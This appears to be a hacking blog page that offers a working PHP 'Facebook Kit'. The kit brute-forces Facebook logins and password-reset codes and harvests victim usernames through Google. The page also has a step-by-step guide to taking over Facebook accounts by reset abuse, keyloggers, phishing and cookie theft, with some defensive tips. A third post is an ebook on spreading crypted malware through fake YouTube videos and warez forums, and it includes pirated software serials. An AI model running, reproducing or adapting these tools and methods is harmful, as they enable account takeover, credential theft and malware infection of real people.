Common Hacking 101: Social Engineering

Showing posts with label Social Engineering. Show all posts

PHP Facebook Password Bruteforce Script With Video ★ReskayLeaks★

PHP Facebook Password Bruteforce Script With Video ★ReskayLeaks★

<?php
session_start();

error_reporting(E_ERROR | E_PARSE);
@ini_set("max_execution_time",0);
@set_time_limit(0); #No Fx in SafeMode
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
// Use your mind to escape Facebook Security \!/
// Don't Allow Cookies in your browser (Use priv8 browsing)
// Change your IP and DNS each 2 seconds and your Job will be Great °_°
// GreetZ To : All AnonGhost MemberZ \!/
// You can edit this script but don't forget to mention the authors °_°
// Tutorial Video: https://www.youtube.com/watch?v=66a_wOwOT48

echo '
<html>
<title>Facebook Kit</title><link rel="shortcut icon" href="http://www14.0zz0.com/2014/06/04/21/396554394.png" type="image/x-icon" />
<body style="background-color:black;">
<style type="text/css">
body {
background:
url("http://i.imgur.com/hg21xZ9.png") repeat ,
url("http://www.albertpalacci.org/wp-content/uploads/2014/08/fb-relationships-full.png") no-repeat center top,top left,top right;
background-color: #000000;
}
a{
text-decoration:none;
border:1px solid #12549c;
border-radius:5px;
background-color:black;
color:white;
font-family:Arial;
font-size:17;
box-shadow: 0px 0px 12px #21a0ed;
}
#r{
border-bottom:1px solid #12549c;
}
</style>

<head>
</body>
</html>
<center><font color="white" face="Orbitron" size="7" align="center">Facebook Kit Hacker v 1.2</font></center>
';

echo '<center>'.base64_decode("PGltZyBzcmM9Imh0dHA6Ly9oYWNrLXRvdXQuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE0LzAyL0ZhY2Vib29rLnBuZyIvPg==").'</center>';

echo '<center><font color="#007700" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">';

echo '</font></b></div><br></center>';

?>
<div id="det" align="center">

</div>
</center>
<div id="r" align="center">
<a href="<?php echo htmlentities($_SERVER['PHP_SELF']); ?>"> Home </a></font>
<a href="?action=baipas"> FB Brute Force </a></font>
<a href="?action=brut"> FB Ghost Catcher </a></font>
<a href="?action=crack"> FB Reset Code </a></font>
<a href="?action=passgen"> Reset Code Generator </a></font>
<a href="?action=idgen"> FB ID Generator </a></font>
<a href="?action=graph"> FB ID Checker </a></font>
<audio autoplay> <source src="http://www.soundescapestudios.com/SESAudio/SES%20Site%20Sounds/Beeps/Beeps-short-01.wav" type="audio/mpeg"></audio>
</div><br>
<?php

if(isset($_GET['action']) && $_GET['action'] == 'idgen'){
@error_reporting(0);
function getRandomString() { //Facebook Email Admin Page Default Lenght is 13 so don't change it xD wkwkwkkw !
$validCharacters = "0123456789"; // Here you are free to choose how to randomize your words ^_^
$validCharNumber = strlen($validCharacters);
$len = 10;
$result = "";

for ($i = 0; $i < $len; $i++) {
$index = mt_rand(0, $validCharNumber - 1);
$result .= $validCharacters[$index];
}

return $result;
}

echo'
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: ##33CCFF;
border:1px dotted #33CCFF;
}
</style>
<p><center><font face="impact" color="White" size="4">Facebook ID Generator
</center><center></font><br>
<title>Facebook ID Generator</title>
<form method="post">
<font color="white">Number Of ID : <br><input type="text" name="nr"><br><br></font>
<input type="submit" value="Generate" name="fbmailgen">
</form><br>';

$len = $_POST['len'];
$nr = $_POST['nr'];
if ($_POST['fbmailgen']) {
echo"<textarea style='resize:none;' class='area' cols='45' rows='10'>";
for ($x=0; $x < $nr ; $x++){
echo "10000" . getRandomString() . "\r\n";
}
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}
}
if(isset($_GET['action']) && $_GET['action'] == 'passgen'){
@error_reporting(0);
function getRandomString() { //Facebook Email Admin Page Default Lenght is 13 so don't change it xD wkwkwkkw !
$validCharacters = "0123456789"; // Here you are free to choose how to randomize your words ^_^
$validCharNumber = strlen($validCharacters);
$len = 6;
$result = "";

for ($i = 0; $i < $len; $i++) {
$index = mt_rand(0, $validCharNumber - 1);
$result .= $validCharacters[$index];
}

return $result;
}

echo'
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: ##33CCFF;
border:1px dotted #33CCFF;
}
</style>
<p><center><font face="impact" color="White" size="4">Facebook Reset Code Generator</font>
</center><center><br>
<title>Facebook Reset Code Generator</title>
<form method="post">
<font color="white">Number Of Reset Codes :   <input type="text" name="nr"><br><br></font>
<input type="submit" value="Generate" name="fbmailgen">
</form><br>';
$len = $_POST['len'];
$nr = $_POST['nr'];
if ($_POST['fbmailgen']) {
echo"<textarea style='resize:none;' class='area' cols='20' rows='10'>";
for ($x=0; $x < $nr ; $x++){
echo getRandomString() . "\r\n";
}
echo "</textarea><br>";
echo "
<br>
<b>
</b>
<br>
";
}

}

if(isset($_GET['action']) && $_GET['action'] == 'brut'){

echo"
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: ##33CCFF;
border:1px dotted #33CCFF;
}
select {
color: ##33CCFF;
border:1px dotted #33CCFF;
}
</style>
<title>F4c3b00k Gh0sT</title>
<form method='POST'>
<center><font face='impact' size='4' color='white'>Facebook Gh0sT Catcher by n0name-hax0r & Mauritania Attacker</font><br></center><br>
<center>
<center><font face='arial' size='1' color='red'>Server</font><br></center>
<select name=country><br><br>
<option value='Choose Country'>Choose The Country</option>
<option value='site:fr-fr.facebook.com/'>France</option>
<option value='site:ar-ar.facebook.com/'>Arab Countries</option>
<option value='site:es-es.facebook.com/'>Spain</option>
<option value='site:tr-tr.facebook.com/'>Turkey</option>
<option value='site:de-de.facebook.com/'>Germany</option>
<option value='site:pt-pt.facebook.com/'>Portugual</option>
<option value='site:it-it.facebook.com/'>Italy</option>
<option value='site:hi-in.facebook.com/'>India</option>
<option value='site:sr-rs.facebook.com/'>Serbia</option>
<option value='site:el-gr.facebook.com/'>Greece</option>
<option value='site:he-il.facebook.com/'>Israel</option>
<option value='site:id-id.facebook.com/'>Indonesia</option>
<option value='site:ru-ru.facebook.com/'>Russia</option>
<option value='site:nl-nl.facebook.com/'>Netherlands</option>
<option value='site:bg-bg.facebook.com/'>Bulgaria</option>
<option value='site:mk-mk.facebook.com/'>Macedonia</option>
<option value='site:uk-ua.facebook.com/'>Ukraine</option>
<option value='site:zh-cn.facebook.com/'>China</option>
</select><br><br>
</center>
<center>
<input type='text' name='victim' placeholder='Victim Name'><br><br>
<textarea name='pass' style='resize:none;' rows='10' cols='20' placeholder='Password List'></textarea><br><br>
<input type='submit' name='start' value='~~Start Catching~~'></center><br><br>
</form>
<center>
<font color='white'>(Use this tool using proxy and change the proxy every 1-2 mins to avoid getting banned from google)</font><br><br>
";
set_time_limit(0);
ini_set('memory_limit', '64M');
header('Content-Type: text/html; charset=UTF-8');
function letItBy(){ ob_flush(); flush(); }

$country = $_POST['country'];
$victim = $_POST['victim'];
$bing = "{$country}"."{$victim}";
$password = explode("\r\n",$_POST['pass']);

//Function that gets google urls

function google_that($query, $page=1)
{
$resultPerPage=8;
$start = $page*$resultPerPage;
$url = "http://ajax.googleapis.com/ajax/services/search/web?v=1.0&hl=iw&rsz={$resultPerPage}&start={$start}&q=" . urlencode($query);
$resultFromGoogle = json_decode( http_get($url, true) ,true);
if(isset($resultFromGoogle['responseStatus'])) {
if($resultFromGoogle['responseStatus'] != '200') return false;
if(sizeof($resultFromGoogle['responseData']['results']) == 0) return false;
else return $resultFromGoogle['responseData']['results'];
}
else
die('The function <b>' . __FUNCTION__ . '</b> Kill me :( <br>' . $url );
}
function http_get($url, $safemode = false){
if($safemode === true) sleep(1);
$im = curl_init($url);
curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($im, CURLOPT_HEADER, 0);
return curl_exec($im);
curl_close();
}
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font>  Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>  Password : <font color='green'>$pass</font></font></p>";
}
}

if(isset($_POST['start'])){

letItBy();
for($googlePage = 1; $googlePage <= 50; $googlePage++) {
$googleResult = google_that($bing, $googlePage);
if(!$googleResult) {
echo 'Finished scanning.';

break;
}

// Gets the username of victim

for($victim = 0; $victim < sizeof($googleResult); $victim++){

$result = $googleResult[$victim]['unescapedUrl'];
if($country == "site:fr-fr.facebook.com/"){
$rsss = str_replace("https://fr-fr.facebook.com/","",$result);
}
elseif($country == "site:ar-ar.facebook.com/"){
$rsss = str_replace("https://ar-ar.facebook.com/","",$result);
}
elseif($country == "site:es-es.facebook.com/"){
$rsss = str_replace("https://es-es.facebook.com/","",$result);
}
elseif($country == "site:tr-tr.facebook.com/"){
$rsss = str_replace("https://tr-tr.facebook.com/","",$result);
}
elseif($country == "site:de-de.facebook.com/"){
$rsss = str_replace("https://de-de.facebook.com/","",$result);
}
elseif($country == "site:pt-pt.facebook.com/"){
$rsss = str_replace("https://pt-pt.facebook.com/","",$result);
}
elseif($country == "site:it-it.facebook.com/"){
$rsss = str_replace("https://it-it.facebook.com/","",$result);
}
elseif($country == "site:hi-in.facebook.com/"){
$rsss = str_replace("https://hi-in.facebook.com/","",$result);
}
elseif($country == "site:zh-cn.facebook.com/"){
$rsss = str_replace("https://zh-cn.facebook.com/","",$result);
}
elseif($country == "site:sr-rs.facebook.com/"){
$rsss = str_replace("https://sr-rs.facebook.com/","",$result);
}
elseif($country == "site:el-gr.facebook.com/"){
$rsss = str_replace("https://el-gr.facebook.com/","",$result);
}
elseif($country == "site:he-il.facebook.com/"){
$rsss = str_replace("https://he-il.facebook.com/","",$result);
}
elseif($country == "site:id-id.facebook.com/"){
$rsss = str_replace("https://id-id.facebook.com/","",$result);
}
elseif($country == "site:ru-ru.facebook.com/"){
$rsss = str_replace("https://ru-ru.facebook.com/","",$result);
}
elseif($country == "site:nl-nl.facebook.com/"){
$rsss = str_replace("https://nl-nl.facebook.com/","",$result);
}
elseif($country == "site:bg-bg.facebook.com/"){
$rsss = str_replace("https://bg-bg.facebook.com/","",$result);
}
elseif($country == "site:mk-mk.facebook.com/"){
$rsss = str_replace("https://mk-mk.facebook.com/","",$result);
}
elseif($country == "site:uk-ua.facebook.com/"){
$rsss = str_replace("https://uk-ua.facebook.com/","",$result);
}
$users = explode("?", $rsss);
$users = $users[0];

//Bruteforce Function

foreach($password as $pass)
{

echo brute($users,$pass);
}
}
}
}
@system("del cookie.txt"); //Delete cookies command for win server.
@system("rm cookie.txt"); // Delete cookies command for linux server.
}
if(isset($_GET['action']) && $_GET['action'] == 'baipas'){

ob_start();
@set_time_limit(0);
#################################################
#---------------------------------------------- #
# Facebook Brute Force 2014 #
#Coded by : Mauritania Attacker&Noname-Haxor #
#Greetz : All AnonGhost Members #
#This Tool Is For Erasing Israel in Fb #
# --------------------------------------------- #
#################################################

echo "
<head>
<link rel='icon' type='image/ico' href='http://media.stateofq.com/photologue/photos/cache/facebook%20favicon_thumbnail.png'/>
<form method='POST'>
<title>Facebook Brute Force 2014</title>
</head>
<style>
textarea {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
}
input {
color: ##33CCFF;
border:1px dotted #33CCFF;
}
</style>";

echo "
<body text='#FFFFFF' >
<center><font color='White' size=4 face='impact' >Facebook Multi-Account BruteForce by Mauritania Attacker&Noname-Haxor </center></font><br>
<p dir='ltr' align='center'>
<textarea cols='22' class='area' placeholder='Username' rows='14' name='username'></textarea>
<textarea cols='22' class='area' placeholder='Password' rows='14' name='password'></textarea><br>
<br>
<input type='submit' name='scan' value='Start BruteForce'><br></p>";
if(isset($_POST['scan'])){
#To Put Proxy SOCKS V5
//curl_setopt($ch, CURLOPT_PROXY, "proxy:port");
//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
function brute($user,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
$login = curl_exec($ch);
//print_r($login);
$check = (eregi('class="s t i u"',$login)) ? true:false;
if($check == true){
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>Not the right one :( || Username : <font color='red'>$user</font>  Password : <font color='red'>$pass</font></font></p>";
}else{
echo "<p align='center' dir='ltr'><font face='Arial Black' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>  Password : <font color='green'>$pass</font></font></p>";
}
}

$username = explode("\n", $_POST['username']);
$password = explode("\n", $_POST['password']);

foreach($username as $users) {
$users = @trim($users);
foreach($password as $pass) {
$pass = @trim($pass);
echo brute($users,$pass);
}

}
@system("del cookie.txt"); //Delete cookies command for win server.
@system("rm cookie.txt"); // Delete cookies command for linux server.

}
echo"<br>
<br>
<br>
<br>
";
}
if(isset($_GET['action']) && $_GET['action'] == 'crack'){

/*
[+] Facebook Code Security Cracker
[+] Coded By : Mauritania Attacker
[+] GreetZ : All AnonGhost MemberZ
[+] FuCk Priv888888888888888888888

~~HACKING IS ART OF EXPLOITATION~~

<3 <3 <3 I'm not educated , I hate school , Hacking is my life xD !!!!!!!!!!!!!!!!!!!!!!!!!! <3 <3 <3

// How to use: Restore your victim account and better choose the email option :p , and the rest is to use your mind \!/
I suggest you to use an auto rotating proxy after each 2 minutes so you won't get banned :D , i've bypassed already the captcha
security and cookies ,so facebook won't let you try many attempts so proxy is the solution !

you still can add a proxy socks v5 option in Curl only two lines :

curl_setopt($ch, CURLOPT_PROXY, "proxy:port");
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);

You can edit my script and try to develop it more if you have some ideas you are free , but don't forget the Copyright wkwkwkwkwkwk xd <3

Sharing is Caring \!/

Sorry my english is bad and i'm lazy xD !
*/

@set_time_limit(0);
echo "<form method='POST'>
<title>Facebook Code Security Cracker > By Mauritania Attacker</title>
<style>
/* Rounded Corners */
#ghost {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
height: 250px;
width: 200px; }
input {
/* INPUTS */
border: 1px solid #12549c;
}
</style>
<center><font color='White' size='4' face='impact'>Facebook 0day Exploit Reset Code Priv8 By Mauritania Attacker</center><br>
<center><input type='text' name='target' placeholder='Victim'></center><br>
<center><textarea cols='10' rows='6' id='ghost' placeholder='Reset Codes' name='code'></textarea><br></center>
<p><center><input type='submit' value='Crack Reset Code' name='scan'><br><br></center></p>
</form>";
$target=$_POST['target'];
$user = explode("\r\n", $_POST['code']);
if($_POST['scan'])
{
foreach($user as $code)
{
// Curl Function ^_^
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$target}&n={$code}");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)

$check = curl_exec($ch);
if(eregi("password_new", $check)) //Keyword Good Response ^_^
{
echo "<font face='Tahoma' size='2' color='green'>{$code} => Facebook Confirmation Code Found ^_^ </font><br>";
}
else
{
echo "<font face='Tahoma' size='2' color='red'>{$code} => Incorrect Code Trying More...</font><br>";
}
curl_close($ch);
}
}
@system("del cookie.txt"); //Delete cookies command for win server.
@system("rm cookie.txt"); // Delete cookies command for linux server.
}

echo "</center><center>";

ob_end_flush();

echo '<center><font color="red" face="arial" size="2" align="">Coded By Mauritania Attacker & n0name-hax0r</font></center>';

if(isset($_GET['action']) && $_GET['action'] == 'graph'){

@set_time_limit(0);
echo "<form method='POST'>
<title>Facebook ID's Checker By Mauritania Attacker</title>
<style>
/* Rounded Corners */
#ghost {
resize:none;
color: #1975FF ;
border:1px solid #1975FF ;
border-left: 4px solid #1975FF ;
height: 250px;
width: 200px; }
input {
/* INPUTS */
border: 1px solid #12549c;
}
</style>
<center><font color='White' size='4' face='impact'>Facebook ID's Checker By Mauritania Attacker</center><br>
<center><textarea cols='10' rows='6' id='ghost' placeholder='ID Here ^^' name='code'></textarea><br></center>
<p><center><input type='submit' value='Check Now' name='scan'><br><br></center></p>
</form>";

$user = explode("\r\n", $_POST['code']);
if($_POST['scan'])
{
foreach($user as $code)
{
// Curl Function ^_^
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://graph.facebook.com/{$code}");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114");

$check = curl_exec($ch);
if(eregi("username", $check)) //Keyword Good Response ^_^
{
echo "<font face='Tahoma' size='2' color='green'>{$code} => ID IS CORRECT ^_^ </font><br>";
}
else
{
echo "<font face='Tahoma' size='2' color='red'>{$code} => ID IS FALSE :(...</font><br>";
}
curl_close($ch);
}
}
@system("del cookie.txt"); //Delete cookies command for win server.
@system("rm cookie.txt"); // Delete cookies command for linux server.
}

echo "</center><center>";

ob_end_flush();

echo '<center><font color="red" face="arial" size="2" align="">Coded By Mauritania Attacker & n0name-hax0r</font></center>';
?>

Phishing Exposed

Kali Linux Social Engineering - Rahul Singh Patel

4 Ways To Hack Facebook

In this guide I'll show you ways that hackers (and even regular folks) can hack into someone's Facebook account. Also I'll show you how to prevent it from happening to you.

Method 1: Reset the Password

The easiest way to "hack" into someone's Facebook is through resetting the password. This could be easier done by people who are friends with the person they're trying to hack.

The first step would be to get your friend's Facebook email login. If you don't already know it, try looking on their Facebook page in the Contact Info section.
Next, click on Forgotten your password? and type in the victim's email. Their account should come up. Click This is my account.

It will ask if you would like to reset the password via the victim's emails. This doesn't help, so press No longer have access to these?
It will now ask How can we reach you? Type in an email that you have that also isn't linked to any other Facebook account.

It will now ask you a question. If you're close friends with the victim, that's great. If you don't know too much about them, make an educated guess. If you figure it out, you can change the password. Now you have to wait 24 hours to login to their account.

If you don't figure out the question, you can click on Recover your account with help from friends. This allows you to choose between three and five friends.

It will send them passwords, which you may ask them for, and then type into the next page. You can either create three to five fake Facebook accounts and add your friend (especially if they just add anyone), or you can choose three to five close friends of yours that would be willing to give you the password.

How to Protect Yourself

Use an email address specifically for your Facebook and don't put that email address on your profile.

When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simply going through your Facebook. No pet names, no anniversaries—not even third grade teacher's names. It's as easy as looking through a yearbook.

Learn about recovering your account from friends. You can select the three friends you want the password sent to. That way you can protect yourself from a friend and other mutual friends ganging up on you to get into your account.

Method 2: Use a Keylogger

Software Keylogger

A software keylogger is a program that can record each stroke on the keyboard that the user makes, most often without their knowledge. The software has to be downloaded manually on the victim's computer. It will automatically start capturing keystrokes as soon as the computer is turned on and remain undetected in the background. The software can be programmed to send you a summary of all the keystrokes via email.

CNET has Free Keylogger, which as the title suggests, is free. If this isn't what you're looking for, you can search for other free keyloggers or pay for one.

Hardware Keylogger

These work the same way as the software keylogger, except that a USB drive with the software needs to be connected to the victim's computer. The USB drive will save a summary of the keystrokes, so it's as simple as plugging it to your own computer and extracting the data. You can look through Keelog for prices, but it's bit higher than buying the software since you have the buy the USB drive with the program already on it.

How to Protect Yourself

Use a firewall. Keyloggers usually send information through the internet, so a firewall will monitor your computer's online activity and sniff out anything suspicious.

Install a password manager. Keyloggers can't steal what you don't type. Password mangers automatically fill out important forms without you having to type anything in.

Update your software. Once a company knows of any exploits in their software, they work on an update. Stay behind and you could be susceptible.

Change passwords. If you still don't feel protected, you can change your password bi-weekly. It may seem drastic, but it renders any information a hacker stole useless.

Method 3: Phishing

This option is much more difficult than the rest, but it is also the most common method to hack someone's account. The most popular type of phishing involves creating a fake login page. The page can be sent via email to your victim and will look exactly like the Facebook login page. If the victim logs in, the information will be sent to you instead of to Facebook. This process is difficult because you will need to create a web hosting account and a fake login page.

The easiest way to do this would be to follow our guide on how to clone a website to make an exact copy of the facebook login page. Then you'll just need to tweak the submit form to copy / store / email the login details a victim enters. If you need help with the exact steps, there are detailed instructions available by Alex Long here on Null Byte. Users are very careful now with logging into Facebook through other links, though, and email phishing filters are getting better every day, so that only adds to this already difficult process. But, it's still possible, especially if you clone the entire Facebook website.

How to Protect Yourself

Don't click on links through email. If an email tells you to login to Facebook through a link, be wary. First check the URL (Here's a great guide on what to look out for). If you're still doubtful, go directly to the main website and login the way you usually do.

Phishing isn't only done through email. It can be any link on any website / chat room / text message / etc. Even ads that pop up can be malicious. Don't click on any sketchy looking links that ask for your information. Use anti-virus & web security software, like Norton or McAfee.

Method 4: Stealing Cookies

Cookies allow a website to store information on a user's hard drive and later retrieve it. These cookies contain important information used to track a session that a hacker can sniff out and steal if they are on the same Wi-Fi network as the victim. They don't actually get the login passwords, but they can still access the victim's account by cloning the cookies, tricking Facebook into thinking the hacker's browser is already authenticated.

Firesheep is a Firefox add-on that sniffs web traffic on an open Wi -Fi connection. It collects the cookies and stores them in a tab on the side of the browser.

From there, the hacker can click on the saved cookies and access the victim's account, as long as the victim is still logged in. Once the victim logs out, it is impossible for the hacker to access the account.

How to Protect Yourself

On Facebook, go to your Account Settings and check under Security. Make

sure Secure Browsing is enabled. Firesheep can't sniff out cookies over encrypted connections like HTTPS, so try to steer away from HTTP.

Full time SSL. Use Firefox add-ons such as HTTPS-Everywhere or Force-TLS.

Log off a website when you're done. Firesheep can't stay logged in to your account if you log off.

Use only trustworthy Wi-Fi networks. A hacker can be sitting across from you at Starbucks and looking through your email without you knowing it.

Use a VPN. These protect against any sidejacking from the same WiFi

network, no matter what website you're on as all your network traffic will be encrypted all the way to your VPN provider.

Protecting Yourself: Less Is More

Social networking websites are great ways to stay connected with old friends and meet new people. Creating an event, sending a birthday greeting and telling your parents you love them are all a couple of clicks away.

Facebook isn't something you need to steer away from, but you do need to be aware of your surroundings and make smart decisions about what you put up on your profile. The less information you give out on Facebook for everyone to see, the more difficult you make it for hackers.

If your Facebook account ever gets hacked, check out our guide on getting your hacked Facebook account back for information on restoring your account.

check out the Same Origin Policy Facebook hack and the somewhat easier, Facebook Password Extractor.

The Ultimate Spreading eBook

cafepressthemes@gmail.com

An Efficient Technique For Spreading

Your Virus V2

Introduction

This eBook will give you a unique way to spread your virus. By utilizing these techniques together, one can easily achieve 1,000 downloads per day. There are no pre-requisites, and all you need is a brain. Get ready to SE your way to 1,000 Downloads (or more) a day!

NOTE: I do not take ANY responsibilities for what you may/will do with the knowledge from this guide. The purpose of this guide is merely for educational purposes.

“The Method” # 1

Youtube is a great way to spread viruses, and we can leave our videos for people to see all around the world.. Even when we are sleeping! In this method we are going utilize a javascript, fake program, and some

unique methods of youtube promoting to get you the downloads you want.

Preparation

Download CamTasia Studio. (Check download links at the bottom of the eBook for full version of Camtasia 7)

Open up your virus builder. (Example: Metus, XR, etc.) And build your server with proper details, and information. If your virus isn’t already 100% FUD, crypt it. (Check download links at the bottom of the eBook for a FUD Crypter) NOTE: If your virus is NOT FUD (Fully Undiscoverable) you will not get very many executions.

Make a new paypal account, and make sure it is NOT verified.

(Premier or Buisness) Also make sure your balance is 0.00$

Execution of Method 1

Open up your Camtasia Screen Recorder. (make sure you are talking, and narrating through a mic. Worst case scenario, just add subtitles at the end of the video with Camtasia Studio)

Talk about what your video is about. (a PayPal money generator that works!) Make sure throughout this video you have a sincere, firm tone. (Makes the video subconsciously more believable.)

Open up your PayPal, and show the viewers you have 0.00 $. As well as:

The current date. (Last logged on as ____________)

Current transactions

Now log out, and go to your paypal money generator. (Check download links at the bottom of the eBook for a Fake PayPal program)

Generate any amount (except for the highest amount of money) and tell the viewers not to use that one, seeing as it’s a high risk of getting caught)

Now open up your browser again, and keep the recording going until right after the (Logging in..) flash screen.

You should now be at your PayPal homepage. Paste the following javascript into your URL Bar, and hit enter: javascript:document.body.contentEditable='true'; document.designMode='on'; void 0

You should notice some of the colors on the page change. This means the page is now editable (Dont get too excited everything goes away after a refresh :/)

Change your balance to the amount your generator is generating. (Ex. If your generator from step 4. Is giving you 1000$ then thats the amount you edit your balance to be)

After your done the edit, DONT REFRESH/LEAVE the page.

Instead continue your recording. Be calm about it, and say how it works. Remember to show the date again, and how you still don’t have any transactions. Right before you end the video, say:

Oh yeah, by the way be careful, and don’t use this more then once a month

Editing your video

Okay, open up your favourite Video Editing program. (I use Sony Vegas: Check the downloads section at the bottom of the eBook if you want it) Or if your a lamer open up the

Camtasia Editor. Line up your videos, and trim any excess pauses and sloppiness.

MAKE SURE to add background music, but make it very faint. The purpose of this is to only cover up the pauses/differences in sound. (from when you stop, and star the recording)

This video is meant to look like it was done in one whole shot.

Now this step is important: After editing your video, don’t name it something like: OMG SPREADING VIDEO, Vid#1 etc.

Instead name it with tags that people would search on youtube. How to hack paypal, Get free money from paypal etc.

The vaguer your tags are the better.

Now when YouTube asks you for Official Tags for the video. That’s when you can put specific ones. What this does is balance out specific-vague.

Extra Video Promoting

Download Refresh Every, Mozilla Firefox, and a list of proxies (Check Downloads Section at the bottom of the eBook for Download)

[Install Firefox if you don’t already have it] Install Refresh Every (add-on) and add the list of proxies to it.

Visit your YouTube video, and keep execute Refresh Every. (The point of this is, the more views you get. The easier it is for anybody searching something similar to your tags to find it.)

Remember to post your video as video responses to other popular videos.

5. Remember to include virus scans in your video information.

“The Method” # 2

MANY WAREZ-RELATED FORUMS ARE FILLED WITH NOOBS WHO ARE LOOKING TO DOWNLOAD AS

MANY FREE ISOS/GAMES/MOVIES AS POSSIBLE. THIS IS WHEN WE EXPLOIT THEM!

1. FUD your Virus. (Check downloads sections at the bottom of the eBook for a FUD Crypter!)

2. Change the icon to a .txt file using ResHacker. (Check downloads section at the bottom of the eBook for ResHacker + tutorial!) Now

rename the virus to “README, README!, IMPORTANT” Or something along those lines.

3. Now go to a Warez website such as www.pspiso.com, and find a popular game or movie. ( For Example: Bioshock 2 )

4. Take all of the links, and go to www.lix.in and rename them. (enter URL + click Enter)

5. Upload your virus to the exact same host as the other links were from (Example: If the Bioshock 2 links were uploaded on Megaupload, then use Megaupload to upload your Virus)

6. Post on the same forum (or another one, it doesn’t matter) the same game, but use the lix.in (Hidden) links instead.

7. Before all of the proper links, post the “Readme,” with Huge, bold, underlined, colourful letters saying something like “README! IMPORTANT NOTES ON HOW TO INSTALL THE

GAME!”

THE END – THANKS FOR READING .. NOTE: V3 IS

COMING OUT SOON!

AND REMEMBER IF YOU NEED ANY HELP WITH YOUR DOWNLOADS/THIS GUIDE PM ME ON HACKFORUMS

DOWNLOADS

Camtasia Screen Recorder:

Trial Download: http://www.techsmith.com/download/camtasiatrial.asp

Serials: FZJMD-ABACG-HWBDT-LNATL-X7M82 DKLNG-8BRSD-ZERDM-WP69K-H7467 3MRXG-SCVCM-

BAWN2-45PTV-B7BE4

FUD Crypter:

Fake Paypal Program: http://00e276bf.seriousfiles.com/ or

http://86abed39.seriousfiles.com/

Sony Vegas: http://www.sonycreativesoftware.com/download/link?id=4208.1 & 1HF-50C1-L9NW-8WX5 or 1HF-D0W9-D22R-G98N

Some Proxies: http://www.freeproxy.ru/download/lists/goodproxy.txt

Refresh Every: https://addons.mozilla.org/en-US/firefox/addon/115/

Mozilla Firefox: http://download.mozilla.org/?product=firefox-3.6.3&os=win&lang=en-GB

Common Hacking 101

Pages

PHP Facebook Password Bruteforce Script With Video ★ReskayLeaks★

Phishing Exposed

Kali Linux Social Engineering - Rahul Singh Patel

4 Ways To Hack Facebook

The Ultimate Spreading eBook

Statistics Help Online